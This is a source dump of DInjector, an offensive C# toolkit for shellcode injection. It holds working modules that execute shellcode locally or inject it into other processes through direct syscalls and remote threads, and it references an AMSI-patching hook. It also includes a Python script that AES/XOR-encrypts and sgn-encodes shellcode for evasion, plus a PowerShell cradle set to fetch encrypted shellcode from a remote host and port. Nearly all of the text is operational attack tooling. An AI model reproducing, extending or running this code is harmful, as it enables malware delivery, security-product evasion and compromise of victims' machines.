├── 3rd-party ├── sgn └── sgn.LICENSE ├── .gitmodules ├── DInjector ├── Utils │ ├── ArgumentParser.cs │ ├── Crypto.cs │ ├── SpawnProcess.cs │ ├── Unhooker.cs │ └── AM51.cs ├── Modules │ ├── CurrentThreadUuid.cs │ ├── ClipboardPointer.cs │ ├── FunctionPointerUnsafe.cs │ ├── TimeFormats.cs │ ├── FunctionPointer.cs │ ├── RemoteThread.cs │ ├── RemoteThreadAPC.cs │ ├── RemoteThreadDll.cs │ ├── RemoteThreadContext.cs │ ├── RemoteThreadView.cs │ ├── RemoteThreadSuspended.cs │ ├── ProcessHollowing.cs │ ├── RemoteThreadKernelCB.cs │ ├── ModuleStomping.cs │ └── CurrentThread.cs ├── DInjector.sln ├── Properties │ └── AssemblyInfo.cs ├── DInjector.csproj ├── API │ ├── Registers.cs │ ├── Delegates.cs │ ├── Syscalls.cs │ └── Win32.cs └── Detonator.cs ├── LICENSE ├── encrypt.py ├── cradle.ps1 ├── .gitignore └── DInjector.cna /3rd-party/sgn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rvrsh3ll/DInjector/HEAD/3rd-party/sgn -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "DInjector/DInvoke"] 2 | path = DInjector/DInvoke 3 | url = https://github.com/snovvcrash/DInvoke 4 | branch = minified 5 | -------------------------------------------------------------------------------- /DInjector/Utils/ArgumentParser.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | 3 | namespace DInjector 4 | { 5 | class ArgumentParser 6 | { 7 | public static Dictionary Parse(IEnumerable argv) 8 | { 9 | var args = new Dictionary(); 10 | 11 | foreach (var arg in argv) 12 | { 13 | var idx = arg.IndexOf(':'); 14 | 15 | if (idx > 0) 16 | args[arg.Substring(0, idx)] = arg.Substring(idx + 1); 17 | else 18 | { 19 | idx = arg.IndexOf('='); 20 | 21 | if (idx > 0) 22 | args[arg.Substring(0, idx)] = arg.Substring(idx + 1); 23 | else 24 | args[arg] = string.Empty; 25 | } 26 | } 27 | 28 | return args; 29 | } 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /3rd-party/sgn.LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 Ege Balcı 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 2-Clause License 2 | 3 | Copyright (c) 2021, snovvcrash 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 19 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 20 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 21 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 22 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 23 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 24 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 25 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 26 | -------------------------------------------------------------------------------- /DInjector/Modules/CurrentThreadUuid.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace DInjector 4 | { 5 | class CurrentThreadUuid 6 | { 7 | public static void Execute(string shellcode, bool debug = false) 8 | { 9 | #region HeapCreate 10 | 11 | var hHeap = Win32.HeapCreate((uint)0x00040000, UIntPtr.Zero, UIntPtr.Zero); 12 | 13 | if (hHeap != null) 14 | Console.WriteLine("(CurrentThreadUuid) [+] HeapCreate"); 15 | else 16 | throw new Exception("(CurrentThreadUuid) [-] HeapCreate: " + hHeap.ToString("x2")); 17 | 18 | #endregion 19 | 20 | #region UuidFromStringA 21 | 22 | var uuids = shellcode.Split('|'); 23 | IntPtr heapAddress = IntPtr.Zero; 24 | 25 | for (int i = 0; i < uuids.Length; i++) 26 | { 27 | heapAddress = IntPtr.Add(hHeap, 16 * i); 28 | _ = Win32.UuidFromStringA(uuids[i], heapAddress); 29 | } 30 | 31 | Console.WriteLine("(CurrentThreadUuid) [+] UuidFromStringA"); 32 | 33 | #endregion 34 | 35 | #region EnumSystemLocalesA 36 | 37 | var result = Win32.EnumSystemLocalesA(hHeap, 0); 38 | 39 | if (result) 40 | Console.WriteLine("(CurrentThreadUuid) [+] EnumSystemLocalesA"); 41 | else 42 | throw new Exception("(CurrentThreadUuid) [-] EnumSystemLocalesA"); 43 | 44 | #endregion 45 | } 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /DInjector/DInjector.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.31112.23 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DInjector", "DInjector.csproj", "{5086CE01-1032-4CA3-A302-6CFF2A8B64DC}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {5086CE01-1032-4CA3-A302-6CFF2A8B64DC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {5086CE01-1032-4CA3-A302-6CFF2A8B64DC}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {5086CE01-1032-4CA3-A302-6CFF2A8B64DC}.Debug|x64.ActiveCfg = Debug|x64 19 | {5086CE01-1032-4CA3-A302-6CFF2A8B64DC}.Debug|x64.Build.0 = Debug|x64 20 | {5086CE01-1032-4CA3-A302-6CFF2A8B64DC}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {5086CE01-1032-4CA3-A302-6CFF2A8B64DC}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {5086CE01-1032-4CA3-A302-6CFF2A8B64DC}.Release|x64.ActiveCfg = Release|x64 23 | {5086CE01-1032-4CA3-A302-6CFF2A8B64DC}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {F8BA7E51-D28D-4A1B-A5A7-4C1204D64BA7} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /DInjector/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // Общие сведения об этой сборке предоставляются следующим набором 6 | // набора атрибутов. Измените значения этих атрибутов для изменения сведений, 7 | // связанные со сборкой. 8 | [assembly: AssemblyTitle("DInjector")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("DInjector")] 13 | [assembly: AssemblyCopyright("Copyright © 2021")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Установка значения False для параметра ComVisible делает типы в этой сборке невидимыми 18 | // для компонентов COM. Если необходимо обратиться к типу в этой сборке через 19 | // COM, задайте атрибуту ComVisible значение TRUE для этого типа. 20 | [assembly: ComVisible(false)] 21 | 22 | // Следующий GUID служит для идентификации библиотеки типов, если этот проект будет видимым для COM 23 | [assembly: Guid("5086ce01-1032-4ca3-a302-6cff2a8b64dc")] 24 | 25 | // Сведения о версии сборки состоят из указанных ниже четырех значений: 26 | // 27 | // Основной номер версии 28 | // Дополнительный номер версии 29 | // Номер сборки 30 | // Редакция 31 | // 32 | // Можно задать все значения или принять номера сборки и редакции по умолчанию 33 | // используя "*", как показано ниже: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /DInjector/Utils/Crypto.cs: -------------------------------------------------------------------------------- 1 | using System.IO; 2 | using System.Text; 3 | using System.Linq; 4 | using System.Security.Cryptography; 5 | 6 | namespace DInjector 7 | { 8 | class AES 9 | { 10 | byte[] key; 11 | 12 | byte[] PerformCryptography(ICryptoTransform cryptoTransform, byte[] data) 13 | { 14 | using (var memoryStream = new MemoryStream()) 15 | using (var cryptoStream = new CryptoStream(memoryStream, cryptoTransform, CryptoStreamMode.Write)) 16 | { 17 | cryptoStream.Write(data, 0, data.Length); 18 | cryptoStream.FlushFinalBlock(); 19 | return memoryStream.ToArray(); 20 | } 21 | } 22 | 23 | public AES(string password) 24 | { 25 | this.key = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password)); 26 | } 27 | 28 | public byte[] Decrypt(byte[] data) 29 | { 30 | using (AesCryptoServiceProvider aes = new AesCryptoServiceProvider()) 31 | { 32 | var iv = data.Take(16).ToArray(); 33 | var encrypted = data.Skip(16).Take(data.Length - 16).ToArray(); 34 | 35 | aes.Key = this.key; 36 | aes.IV = iv; 37 | aes.Mode = CipherMode.CBC; 38 | aes.Padding = PaddingMode.PKCS7; 39 | 40 | using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV)) 41 | return PerformCryptography(decryptor, encrypted); 42 | } 43 | } 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /DInjector/Modules/ClipboardPointer.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | using DI = DInvoke; 5 | using static DInvoke.Data.Native; 6 | 7 | namespace DInjector 8 | { 9 | class ClipboardPointer 10 | { 11 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 12 | delegate void pFunction(); 13 | 14 | public static void Execute(byte[] shellcode, bool debug = false) 15 | { 16 | #region SetClipboardData 17 | 18 | _ = Win32.OpenClipboard(IntPtr.Zero); 19 | 20 | IntPtr baseAddress = Win32.SetClipboardData( 21 | 0x2, // CF_BITMAP 22 | shellcode); 23 | 24 | _ = Win32.CloseClipboard(); 25 | 26 | #endregion 27 | 28 | #region NtProtectVirtualMemory (PAGE_EXECUTE_READ) 29 | 30 | IntPtr hProcess = IntPtr.Zero; // Process.GetCurrentProcess().Handle 31 | IntPtr protectAddress = baseAddress; 32 | IntPtr regionSize = (IntPtr)shellcode.Length; 33 | uint oldProtect = 0; 34 | 35 | var ntstatus = Syscalls.NtProtectVirtualMemory( 36 | hProcess, 37 | ref protectAddress, 38 | ref regionSize, 39 | DI.Data.Win32.WinNT.PAGE_EXECUTE_READ, 40 | ref oldProtect); 41 | 42 | if (ntstatus == NTSTATUS.Success) 43 | Console.WriteLine("(ClipboardPointer) [+] NtProtectVirtualMemory, PAGE_EXECUTE_READ"); 44 | else 45 | throw new Exception($"(ClipboardPointer) [-] NtProtectVirtualMemory, PAGE_EXECUTE_READ: {ntstatus}"); 46 | 47 | pFunction f = (pFunction)Marshal.GetDelegateForFunctionPointer(baseAddress, typeof(pFunction)); 48 | f(); 49 | 50 | #endregion 51 | } 52 | } 53 | } 54 | -------------------------------------------------------------------------------- /DInjector/Modules/FunctionPointerUnsafe.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | using DI = DInvoke; 5 | using static DInvoke.Data.Native; 6 | 7 | namespace DInjector 8 | { 9 | class FunctionPointerUnsafe 10 | { 11 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 12 | delegate void pFunction(); 13 | 14 | public static void Execute(byte[] shellcode, bool debug = false) 15 | { 16 | unsafe 17 | { 18 | fixed (byte* ptr = shellcode) 19 | { 20 | IntPtr baseAddress = (IntPtr)ptr; 21 | 22 | #region NtProtectVirtualMemory (PAGE_EXECUTE_READ) 23 | 24 | IntPtr hProcess = IntPtr.Zero; // Process.GetCurrentProcess().Handle 25 | IntPtr protectAddress = baseAddress; 26 | IntPtr regionSize = (IntPtr)shellcode.Length; 27 | uint oldProtect = 0; 28 | 29 | var ntstatus = Syscalls.NtProtectVirtualMemory( 30 | hProcess, 31 | ref protectAddress, 32 | ref regionSize, 33 | DI.Data.Win32.WinNT.PAGE_EXECUTE_READ, 34 | ref oldProtect); 35 | 36 | if (ntstatus == NTSTATUS.Success) 37 | Console.WriteLine("(FunctionPointerUnsafe) [+] NtProtectVirtualMemory, PAGE_EXECUTE_READ"); 38 | else 39 | throw new Exception($"(FunctionPointerUnsafe) [-] NtProtectVirtualMemory, PAGE_EXECUTE_READ: {ntstatus}"); 40 | 41 | #endregion 42 | 43 | pFunction f = (pFunction)Marshal.GetDelegateForFunctionPointer(baseAddress, typeof(pFunction)); 44 | f(); 45 | } 46 | } 47 | } 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /DInjector/Modules/TimeFormats.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | using DI = DInvoke; 5 | using static DInvoke.Data.Native; 6 | 7 | namespace DInjector 8 | { 9 | class TimeFormats 10 | { 11 | public static void Execute(byte[] shellcode, bool debug = false) 12 | { 13 | #region NtAllocateVirtualMemory (PAGE_READWRITE) 14 | 15 | IntPtr hProcess = IntPtr.Zero; // Process.GetCurrentProcess().Handle 16 | IntPtr baseAddress = IntPtr.Zero; 17 | IntPtr regionSize = (IntPtr)shellcode.Length; 18 | 19 | var ntstatus = Syscalls.NtAllocateVirtualMemory( 20 | hProcess, 21 | ref baseAddress, 22 | IntPtr.Zero, 23 | ref regionSize, 24 | DI.Data.Win32.Kernel32.MEM_COMMIT | DI.Data.Win32.Kernel32.MEM_RESERVE, 25 | DI.Data.Win32.WinNT.PAGE_READWRITE); 26 | 27 | if (ntstatus == NTSTATUS.Success) 28 | Console.WriteLine("(TimeFormats) [+] NtAllocateVirtualMemory, PAGE_READWRITE"); 29 | else 30 | throw new Exception($"(TimeFormats) [-] NtAllocateVirtualMemory, PAGE_READWRITE: {ntstatus}"); 31 | 32 | #endregion 33 | 34 | Marshal.Copy(shellcode, 0, baseAddress, shellcode.Length); 35 | 36 | #region NtProtectVirtualMemory (PAGE_EXECUTE_READ) 37 | 38 | IntPtr protectAddress = baseAddress; 39 | regionSize = (IntPtr)shellcode.Length; 40 | uint oldProtect = 0; 41 | 42 | ntstatus = Syscalls.NtProtectVirtualMemory( 43 | hProcess, 44 | ref protectAddress, 45 | ref regionSize, 46 | DI.Data.Win32.WinNT.PAGE_EXECUTE_READ, 47 | ref oldProtect); 48 | 49 | if (ntstatus == NTSTATUS.Success) 50 | Console.WriteLine("(TimeFormats) [+] NtProtectVirtualMemory, PAGE_EXECUTE_READ"); 51 | else 52 | throw new Exception($"(TimeFormats) [-] NtProtectVirtualMemory, PAGE_EXECUTE_READ: {ntstatus}"); 53 | 54 | #endregion 55 | 56 | _ = Win32.EnumTimeFormatsEx(baseAddress, IntPtr.Zero, 0, 0); 57 | 58 | #region CleanUp: NtFreeVirtualMemory (shellcode) 59 | 60 | regionSize = (IntPtr)shellcode.Length; 61 | 62 | ntstatus = Syscalls.NtFreeVirtualMemory( 63 | hProcess, 64 | ref baseAddress, 65 | ref regionSize, 66 | DI.Data.Win32.Kernel32.MEM_RELEASE); 67 | 68 | if (ntstatus == NTSTATUS.Success) 69 | Console.WriteLine("(TimeFormats.CleanUp) [+] NtFreeVirtualMemory, shellcode"); 70 | else 71 | throw new Exception($"(TimeFormats.CleanUp) [-] NtFreeVirtualMemory, shellcode: {ntstatus}"); 72 | 73 | #endregion 74 | } 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /DInjector/Modules/FunctionPointer.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | using DI = DInvoke; 5 | using static DInvoke.Data.Native; 6 | 7 | namespace DInjector 8 | { 9 | class FunctionPointer 10 | { 11 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 12 | delegate void pFunction(); 13 | 14 | public static void Execute(byte[] shellcode, bool debug = false) 15 | { 16 | #region NtAllocateVirtualMemory (PAGE_READWRITE) 17 | 18 | IntPtr hProcess = IntPtr.Zero; // Process.GetCurrentProcess().Handle 19 | IntPtr baseAddress = IntPtr.Zero; 20 | IntPtr regionSize = (IntPtr)shellcode.Length; 21 | 22 | var ntstatus = Syscalls.NtAllocateVirtualMemory( 23 | hProcess, 24 | ref baseAddress, 25 | IntPtr.Zero, 26 | ref regionSize, 27 | DI.Data.Win32.Kernel32.MEM_COMMIT | DI.Data.Win32.Kernel32.MEM_RESERVE, 28 | DI.Data.Win32.WinNT.PAGE_READWRITE); 29 | 30 | if (ntstatus == NTSTATUS.Success) 31 | Console.WriteLine("(FunctionPointer) [+] NtAllocateVirtualMemory, PAGE_READWRITE"); 32 | else 33 | throw new Exception($"(FunctionPointer) [-] NtAllocateVirtualMemory, PAGE_READWRITE: {ntstatus}"); 34 | 35 | #endregion 36 | 37 | Marshal.Copy(shellcode, 0, baseAddress, shellcode.Length); 38 | 39 | #region NtProtectVirtualMemory (PAGE_EXECUTE_READ) 40 | 41 | IntPtr protectAddress = baseAddress; 42 | regionSize = (IntPtr)shellcode.Length; 43 | uint oldProtect = 0; 44 | 45 | ntstatus = Syscalls.NtProtectVirtualMemory( 46 | hProcess, 47 | ref protectAddress, 48 | ref regionSize, 49 | DI.Data.Win32.WinNT.PAGE_EXECUTE_READ, 50 | ref oldProtect); 51 | 52 | if (ntstatus == NTSTATUS.Success) 53 | Console.WriteLine("(FunctionPointer) [+] NtProtectVirtualMemory, PAGE_EXECUTE_READ"); 54 | else 55 | throw new Exception($"(FunctionPointer) [-] NtProtectVirtualMemory, PAGE_EXECUTE_READ: {ntstatus}"); 56 | 57 | #endregion 58 | 59 | pFunction f = (pFunction)Marshal.GetDelegateForFunctionPointer(baseAddress, typeof(pFunction)); 60 | f(); 61 | 62 | #region CleanUp: NtFreeVirtualMemory (shellcode) 63 | 64 | regionSize = (IntPtr)shellcode.Length; 65 | 66 | ntstatus = Syscalls.NtFreeVirtualMemory( 67 | hProcess, 68 | ref baseAddress, 69 | ref regionSize, 70 | DI.Data.Win32.Kernel32.MEM_RELEASE); 71 | 72 | if (ntstatus == NTSTATUS.Success) 73 | Console.WriteLine("(FunctionPointer.CleanUp) [+] NtFreeVirtualMemory, shellcode"); 74 | else 75 | throw new Exception($"(FunctionPointer.CleanUp) [-] NtFreeVirtualMemory, shellcode: {ntstatus}"); 76 | 77 | #endregion 78 | } 79 | } 80 | } 81 | -------------------------------------------------------------------------------- /encrypt.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import os 4 | import uuid 5 | import hashlib 6 | from pathlib import Path 7 | from base64 import b64encode 8 | from argparse import ArgumentParser 9 | 10 | from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes 11 | from cryptography.hazmat.primitives import padding 12 | from cryptography.hazmat.backends import default_backend 13 | 14 | 15 | class AES: 16 | 17 | def __init__(self, password, iv): 18 | self.key = hashlib.sha256(password.encode()).digest() 19 | self.iv = iv 20 | 21 | def encrypt(self, raw): 22 | backend = default_backend() 23 | padder = padding.PKCS7(128).padder() 24 | raw = padder.update(raw) + padder.finalize() 25 | cipher = Cipher(algorithms.AES(self.key), modes.CBC(self.iv), backend=backend) 26 | encryptor = cipher.encryptor() 27 | return self.iv + encryptor.update(raw) + encryptor.finalize() 28 | 29 | 30 | class XOR: 31 | 32 | def __init__(self, key): 33 | self.key = key 34 | 35 | def encrypt(self, raw): 36 | output = b'' 37 | for i in range(len(raw)): 38 | c = raw[i] 39 | k = self.key[i % len(self.key)] 40 | output += bytes([c ^ ord(k)]) 41 | 42 | return output 43 | 44 | 45 | def parse_args(): 46 | parser = ArgumentParser() 47 | parser.add_argument('shellcode_bin', action='store', type=str, 48 | help='shellcode binary file path') 49 | parser.add_argument('-p', '--password', action='store', type=str, required=True, 50 | help='password to encrypt the shellcode with') 51 | parser.add_argument('-a', '--algorithm', action='store', type=str, default='aes', choices=['aes', 'xor'], 52 | help='algorithm to encrypt the shellcode with') 53 | parser.add_argument('-o', '--output', action='store', type=str, 54 | help='output file path') 55 | parser.add_argument('--uuid', action='store_true', default=False, 56 | help='convert the shellcode to UUID string before encrypting (used in "currentthreaduuid")') 57 | parser.add_argument('--base64', action='store_true', default=False, 58 | help='print the output in base64') 59 | parser.add_argument('--sgn', action='store_true', default=False, 60 | help='use the sgn encoder (https://github.com/EgeBalci/sgn/releases)') 61 | parser.add_argument('--sgn-path', action='store', type=str, default=Path(__file__).resolve().parent / '3rd-party' / 'sgn', 62 | help='path to the sgn encoder (https://github.com/EgeBalci/sgn/releases)') 63 | return parser.parse_args() 64 | 65 | 66 | if __name__ == '__main__': 67 | args = parse_args() 68 | 69 | shellcode_bin = args.shellcode_bin 70 | if args.sgn: 71 | os.system(f'{args.sgn_path} -a 64 {args.shellcode_bin}') 72 | shellcode_bin += '.sgn' 73 | 74 | with open(shellcode_bin, 'rb') as fd: 75 | shellcode = fd.read() 76 | 77 | if args.uuid: 78 | if len(shellcode) % 16: 79 | null_nytes = b'\x00' * (16 - (len(shellcode) % 16)) 80 | shellcode += null_nytes 81 | 82 | concatedUuids = b'' 83 | for i in range(0, len(shellcode), 16): 84 | uuid_str = str(uuid.UUID(bytes_le=shellcode[i:i+16])) 85 | concatedUuids += uuid_str.encode() + b'|' 86 | 87 | shellcode = concatedUuids 88 | 89 | if args.algorithm == 'aes': 90 | iv = os.urandom(16) 91 | ctx = AES(args.password, iv) 92 | elif args.algorithm == 'xor': 93 | ctx = XOR(args.password) 94 | 95 | enc = ctx.encrypt(shellcode) 96 | 97 | if args.base64: 98 | enc = b64encode(enc) 99 | 100 | if args.output: 101 | with open(args.output, 'wb') as fd: 102 | fd.write(enc) 103 | print(f'[+] Encrypted shellcode file: {args.output}') 104 | elif args.base64: 105 | print(enc).decode().strip() 106 | 107 | if args.sgn: 108 | os.remove(shellcode_bin) 109 | -------------------------------------------------------------------------------- /DInjector/Modules/RemoteThread.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | using DI = DInvoke; 5 | using static DInvoke.Data.Native; 6 | 7 | namespace DInjector 8 | { 9 | class RemoteThread 10 | { 11 | public static void Execute(byte[] shellcode, int processID, bool remoteAm51, bool forceAm51, bool debug = false) 12 | { 13 | #region NtOpenProcess 14 | 15 | IntPtr hProcess = IntPtr.Zero; 16 | Win32.OBJECT_ATTRIBUTES oa = new Win32.OBJECT_ATTRIBUTES(); 17 | Win32.CLIENT_ID ci = new Win32.CLIENT_ID { UniqueProcess = (IntPtr)processID }; 18 | 19 | var ntstatus = Syscalls.NtOpenProcess( 20 | ref hProcess, 21 | DI.Data.Win32.Kernel32.ProcessAccessFlags.PROCESS_ALL_ACCESS, 22 | ref oa, 23 | ref ci); 24 | 25 | if (ntstatus == NTSTATUS.Success) 26 | Console.WriteLine("(RemoteThread) [+] NtOpenProcess"); 27 | else 28 | throw new Exception($"(RemoteThread) [-] NtOpenProcess: {ntstatus}"); 29 | 30 | if (remoteAm51) 31 | AM51.Patch( 32 | processHandle: hProcess, 33 | processID: processID, 34 | force: forceAm51); 35 | 36 | #endregion 37 | 38 | #region NtAllocateVirtualMemory (PAGE_READWRITE) 39 | 40 | IntPtr baseAddress = IntPtr.Zero; 41 | IntPtr regionSize = (IntPtr)shellcode.Length; 42 | 43 | ntstatus = Syscalls.NtAllocateVirtualMemory( 44 | hProcess, 45 | ref baseAddress, 46 | IntPtr.Zero, 47 | ref regionSize, 48 | DI.Data.Win32.Kernel32.MEM_COMMIT | DI.Data.Win32.Kernel32.MEM_RESERVE, 49 | DI.Data.Win32.WinNT.PAGE_READWRITE); 50 | 51 | if (ntstatus == NTSTATUS.Success) 52 | Console.WriteLine("(RemoteThread) [+] NtAllocateVirtualMemory, PAGE_READWRITE"); 53 | else 54 | throw new Exception($"(RemoteThread) [-] NtAllocateVirtualMemory, PAGE_READWRITE: {ntstatus}"); 55 | 56 | #endregion 57 | 58 | #region NtWriteVirtualMemory (shellcode) 59 | 60 | var buffer = Marshal.AllocHGlobal(shellcode.Length); 61 | Marshal.Copy(shellcode, 0, buffer, shellcode.Length); 62 | 63 | uint bytesWritten = 0; 64 | 65 | ntstatus = Syscalls.NtWriteVirtualMemory( 66 | hProcess, 67 | baseAddress, 68 | buffer, 69 | (uint)shellcode.Length, 70 | ref bytesWritten); 71 | 72 | if (ntstatus == NTSTATUS.Success) 73 | Console.WriteLine("(RemoteThread) [+] NtWriteVirtualMemory, shellcode"); 74 | else 75 | throw new Exception($"(RemoteThread) [-] NtWriteVirtualMemory, shellcode: {ntstatus}"); 76 | 77 | Marshal.FreeHGlobal(buffer); 78 | 79 | #endregion 80 | 81 | #region NtProtectVirtualMemory (PAGE_EXECUTE_READ) 82 | 83 | uint oldProtect = 0; 84 | 85 | ntstatus = Syscalls.NtProtectVirtualMemory( 86 | hProcess, 87 | ref baseAddress, 88 | ref regionSize, 89 | DI.Data.Win32.WinNT.PAGE_EXECUTE_READ, 90 | ref oldProtect); 91 | 92 | if (ntstatus == NTSTATUS.Success) 93 | Console.WriteLine("(RemoteThread) [+] NtProtectVirtualMemory, PAGE_EXECUTE_READ"); 94 | else 95 | throw new Exception($"(RemoteThread) [-] NtProtectVirtualMemory, PAGE_EXECUTE_READ: {ntstatus}"); 96 | 97 | #endregion 98 | 99 | #region NtCreateThreadEx 100 | 101 | IntPtr hThread = IntPtr.Zero; 102 | 103 | ntstatus = Syscalls.NtCreateThreadEx( 104 | ref hThread, 105 | DI.Data.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, 106 | IntPtr.Zero, 107 | hProcess, 108 | baseAddress, 109 | IntPtr.Zero, 110 | false, 111 | 0, 112 | 0, 113 | 0, 114 | IntPtr.Zero); 115 | 116 | if (ntstatus == NTSTATUS.Success) 117 | Console.WriteLine("(RemoteThread) [+] NtCreateThreadEx"); 118 | else 119 | throw new Exception($"(RemoteThread) [-] NtCreateThreadEx: {ntstatus}"); 120 | 121 | #endregion 122 | 123 | Syscalls.NtClose(hThread); 124 | Syscalls.NtClose(hProcess); 125 | } 126 | } 127 | } 128 | -------------------------------------------------------------------------------- /cradle.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .DESCRIPTION 3 | 4 | Module name. Choose from: 5 | 6 | "functionpointer", 7 | "functionpointerunsafe", 8 | "timeformats", 9 | "clipboardpointer", 10 | "currentthread", 11 | "currentthreaduuid", 12 | "remotethread", 13 | "remotethreaddll", 14 | "remotethreadview", 15 | "remotethreadsuspended", 16 | "remotethreadkernelcb", 17 | "remotethreadapc", 18 | "remotethreadcontext", 19 | "processhollowing", 20 | "modulestomping" 21 | #> 22 | $A = "currentthread" 23 | 24 | # [/sc] lhost 25 | $B = "10.10.13.37" 26 | 27 | # [/sc] lport 28 | $C = 80 29 | 30 | # injector filename 31 | $D = "DInjector.dll" 32 | 33 | # [/sc] encrypted shellcode filename 34 | $E = "enc" 35 | 36 | # [/p] password to decrypt the shellcode 37 | $F = "Passw0rd!" 38 | 39 | # [/protect] protection value that will be applied to the memory region where the shellcode resides ("RX" / "RWX", used in "currentthread") 40 | $G = "RX" 41 | 42 | # [/timeout] timeout for WaitForSingleObject in milliseconds (0 is serve forever, used in "currentthread") 43 | $H = 0 44 | 45 | # [/flipSleep] time to sleep with PAGE_NOACCESS on shellcode memory region before resuming the thread in milliseconds (0 is disable memory protection flip, used in "currentthread" and "remotethreadsuspended") 46 | $I = 0 47 | 48 | # [/fluctuate] protection value to fluctuate with that will be applied to the memory region where the shellcode resides; this option also activates memory obfuscation ("RW", used in "currentthread") 49 | $J = 0 50 | 51 | # [/image] path to the image of a newly spawned process to 